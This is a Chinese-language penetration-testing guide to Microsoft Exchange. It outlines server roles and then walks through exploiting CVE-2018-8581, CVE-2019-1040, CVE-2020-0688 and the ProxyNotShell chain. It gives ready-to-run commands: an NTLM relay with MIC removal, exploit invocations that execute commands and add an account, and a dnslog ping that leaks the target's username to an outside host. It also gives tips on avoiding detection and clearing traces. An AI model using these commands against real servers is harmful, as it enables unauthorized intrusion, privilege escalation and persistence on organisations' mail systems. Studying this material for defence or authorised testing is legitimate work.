Exchange是微软出品的邮件服务器系统,凭借其强大的功能优势被应用到很多企业、学校的邮件系统搭建中。截至目前,Exchange已有多个成熟版本,例如:Exchange Server 2010、2013、2016、2019等。此外,Exchange又可分为Exchange Server和Exchange Online。

目前最新版本Exchange主要包含两个角色,分别是邮箱服务器角色和边缘传输服务器角色

邮箱服务器角色

1.包含用于路由邮件的传输服务;

2.包含处理、呈现和存储数据的邮箱数据库;

3.包含接受所有协议客户端连接的客户端访问服务;

http、RPC over HTTP、MAPI over HTTP、pop3、imap4、um呼叫

4.包含向邮箱提供语音邮件和其他电话服务功能的统一消息(UM)服务。

边缘传输服务器角色

1.处理Exchange组织的所有外部邮件流;

2.通常安装在外围网络中,可订阅内部Exchange组织。当Exchange组织接收和发送邮件时,EdgeSync同步进程会向边缘传输服务器提供收件人信息和其他配置信息。

渗透测试人员最为关心Exchange对外提供的访问接口,以及使用的加密验证类型

exchange 架构 exchange系统_exchange 架构

相关接口

1.outlook客户端(MAPI协议)

2.outlook web app(以web形式访问 https://域名或ip/owa)

3.POP3和IMAP4(可以通过POP3协议利用其他客户端)

Exchange密码枚举工具GitHub - sensepost/ruler: A tool to abuse Exchange services

exchange 架构 exchange系统_服务器_02

VE-2018-8581 

这个漏洞利用一个可以正常登入的普通用户账户,通过ssrf调用Exchange Server凭证到已控制的内网服务器上,并默认Exchange Server权限较高,就达到了提权的目的

 GitHub - sensepost/ruler: A tool to abuse Exchange services

CVE-2019-1040

在这个漏洞之前利用smb转ldap时,有个mic检查导致无法中转成功,但利用这个CVE-2019-1040漏洞就实现了直接绕过mic检查,这是这个漏洞的关键点。利用方法类似2018-8581的形式。

更新我们的impacket

gti pull https://github.com/SecureAuthCorp/impacket

ntlmrelayx.py  --remove-mic -t ldap://10.0.0.158 --escalate-user test   -smb2support

触发SpoolService的bug产生smb回连工具

https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py

其他等同2018-8581部分

两个漏洞的区别

2018-8581是利用exchange漏洞产生http->ldap中转实现的提权,2019-1040是产生的smb->ldap中转,并且绕过mic检查。

CVE-2020-0688 exchange远程代码执行漏洞

影响版本:

Microsoft Exchange Server 2010 Service Pack 3

Microsoft Exchange Server 2013

Microsoft Exchange Server 2016

Microsoft Exchange Server 2019

漏洞介绍:

所有Exchange Server在安装后的web.config文件中都拥有相同的validationKey和decryptionKey。这些密钥用于保证ViewState的安全性。而ViewState是ASP.NET Web应用以序列化格式存储在客户机上的服务端数据。客户端通过__VIEWSTATE请求参数将这些数据返回给服务器。攻击者可以在ExchangeControl Panel web应用上执行任意.net代码。当攻击者通过各种手段获得一个可以访问Exchange Control Panel (ECP)组件的用户账号密码时,攻击者可以在被攻击的exchange上执行任意代码,直接获取服务器权限。

--validationkey=CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF(默认,漏洞产生原因)

--validationalg = SHA1(默认,漏洞产生原因)

--generator=B97B4E27(基本默认)

--viewstateuserkey = ASP.NET_SessionId(可以通过手工获取变量,也可以通过脚本模拟用户登录获取该值)

以上4个值中仅需要用户登录之后访问/ecp/default.aspx 界面在header里面获取ASP.NET_SessionId,其余的均为默认值

 

exchange 架构 exchange系统_运维_03

 

exchange 架构 exchange系统_Server_04

 

使用方法:

python CVE-2020-0688_EXP.py -s https://192.168.1.152 -u test@exchange2016.com  -p !QAZ2wsx -c "cmd /c calc.exe"  在目标机中打开计算器

-s 地址

-u 用户名

-p 用户名密码

-c 命令

exchange 架构 exchange系统_exchange 架构_05

exchange 架构 exchange系统_服务器_06

python CVE-2020-0688_EXP.py -s https://192.168.1.152 -u temp@exchange2016.com  -p !QAZ2wsx -c "cmd /c  net user ad !QAZ2wsx /add"

添加新用户ad

exchange 架构 exchange系统_PowerShell_07

注意事项:可以访问Exchange Control Panel (ECP)组件的用户,这一点非常重要!!!

目前GitHub公开的exp利用工具很多都是作者用超级管理员账号进行的测试,但是对于普通用户来说,是无法进行使用的,所以本次复现中使用的exp是一个比较好的利用工具,可直接使用

链接地址:

https://github.com/Yt1g3r/CVE-2020-0688_EXP

关于后渗透阶段:

可参考:

https://www.freebuf.com/company-information/211051.html


1. 判断是否存在漏洞:

在判断是否存在漏洞中,从最初的版本利用来看,可以对未安装cve2020-0688安全补丁的Exchange Server 2013所有版本、Exchange Server 2016(截至2020年3月17日之前的版本)、Exchange Server 2019(截至2020年3月17日之前的版本)有效。在未打补丁的情况下,基本上算是一个通杀。

具体来讲,可以通过以下方式判断:

1)查看版本号和官网的版本进行对比

exchange 架构 exchange系统_服务器_08

exchange 架构 exchange系统_运维_09

2)通过普通用户登录之后,访问https://exchnage/ecp/default.aspx

exchange 架构 exchange系统_exchange 架构_10

如果默认值为B97B4E27,且在headers中存在ASP.NET_SessionId则可能存在漏洞。

exchange 架构 exchange系统_服务器_11

exchange 架构 exchange系统_Server_12

2. 判断存在漏洞的版本是否攻击成功

1)在渗透初期可以使用dnslog来探测命令是否执行成功,示例如下:

首先打开网址:https:dnslog.cn

exchange 架构 exchange系统_exchange 架构_13

使用命令如下:

python CVE-2020-0688_EXP.py -s https://192.168.1.160 -u Administrator@exchange2016.com -p !QAZ2wsx -c "cmd /c ping %USERNAME%.3d3uhm.dnslog.cn"

exchange 架构 exchange系统_PowerShell_14

exchange 架构 exchange系统_运维_15

由此可以检测攻击有效。

注意事项:在实际测试中,最好DNSlog服务自行搭建,申请临时域名来测试。

3. 攻击操作

https://www.freebuf.com/company-information/211051.html

可参考以上链接的内容,获取某个用户的密码账号等信息,方法有很多。

最好不要新建用户,可以采用激活guest的方法来,后期也要痕迹清理。

CVE-2022-41040 和 CVE-2022-41082

 CVE-2022-41040,是一个服务器端请求伪造 (SSRF) 漏洞,允许经过身份验证的攻击者远程触发下一个漏洞 CVE-2022-41082。反过来,当攻击者可以访问 MS Exchange PowerShell 时,第二个漏洞允许远程代码执行 (RCE)。正如 GTSC 报告中所指出的,这两个漏洞在野外被一起利用,在易受攻击的服务器上创建后门,并执行横向移动。

Microsoft 称,这些漏洞影响了 MS Exchange Server 2013、MS Exchange Server 2016 和 MS Exchange Server 2019。

2022 年 10 月 11 日,Microsoft 发布了补丁以覆盖这些漏洞,作为其补丁星期二更新的一部分。之后,在 11 月 17 日,一名安全研究人员发布了第一个工作 PoC。这是一个接受以下参数的 Python 脚本:用户、密码、邮件地址和要在受害者主机上执行的命令行。

网络安全社区将这对漏洞称为ProxyNotShell。该名称指的是最近的 ProxyShell 攻击链,其中包含 2021 年披露的 Exchange 服务器中的类似漏洞。ProxyShell 是一组三个漏洞:CVE-2021-34473、CVE-2021-34523 和 CVE-2021-31207。攻击者使用它们创建 Web shell 并在易受攻击的 Microsoft Exchange 服务器上执行任意代码。

ProxyNotShell 利用细节

此攻击的第一步是利用CVE-2022-41040访问 PowerShell API 端点。在 Exchange自动发现机制中使用不充分的输入数据过滤,具有已知注册帐户登录名和密码组合的攻击者可以访问 Exchange Server API 的特权端点(https://%exchange server domain%/powershell。此访问允许攻击者在服务器计算机上的 Exchange 环境中执行 PowerShell 命令,通过 XML SOAP 协议将它们传递到有效负载中。

在下一步中,攻击者必须通过WSMAN 协议访问基于 Web 的企业管理 (WBEM)。攻击者在易受攻击的系统上启动 shell,以通过Windows 远程管理 (PsRemoting)进一步执行 PowerShell 脚本。

exchange 架构 exchange系统_服务器_16

带有 XML SOAP 的 HTTP POST 请求以启动 PsRemoting

启动外壳后,攻击者应立即延长其生命周期;否则,shell 将被关闭,因为它的过期时间默认太短。这是在 Exchange Server 上进一步执行命令所必需的。为此,攻击者立即通过启用保持活动选项的WSMAN发送特殊请求。

exchange 架构 exchange系统_Server_17

使用 XML SOAP 的 HTTP POST 请求以延长 shell 的生命周期

之后,攻击者利用了第二个漏洞——CVE-2022-41082。通过使用 PowerShell Remoting,攻击者发送创建地址簿的请求,将编码和序列化的数据与特殊负载作为参数传递。在已发布的 PoC 中,此编码数据包含一个名为System.UnitySerializationHolder的小工具,它会生成System.Windows.Markup.XamlReader类的对象。此类处理来自负载的 XAML 数据,该负载创建System.Diagnostics类的新对象并包含用于在目标系统上打开新进程的方法调用。在已发布的 PoC 中,此进程为calc.exe

exchange 架构 exchange系统_exchange 架构_18

带有 XML SOAP 的 HTTP POST 请求启动新进程

exchange 架构 exchange系统_Server_19

执行 calc.exe 进程的主要负载部分

ProxyNotShell 后开发

在漏洞被披露几周后,卡巴斯基检测到ProxyNotShell在野外被成功利用。演员执行了以下操作:

  • 侦察(用户、组、域)
  • 各种劫持尝试(甚至丢弃易受攻击的二进制文件)
  • 远程进程注入
  • 坚持
  • 反壳

在这种情况下,攻击者拥有执行此类入侵的凭据。他们利用了公司的 Exchange 服务器,因此能够在 Exchange 机器上创建他们想要的任何进程,将命令作为有效负载传递。

exchange 架构 exchange系统_服务器_20

在服务器端,所有通过漏洞利用启动的进程都有一个带有特定参数的主父进程:w3wp.exe -ap “msexchangepowershellapppool”。

攻击的这些利用后步骤与TrendMicro报告的攻击步骤非常相似,唯一的区别是所利用的漏洞。

我们的产品可防止所有这些利用后步骤以及利用CVE-2022-41040CVE-2022-41082漏洞的其他攻击。ProxyNotShell的检测名称是PDM:Exploit.Win32.Generic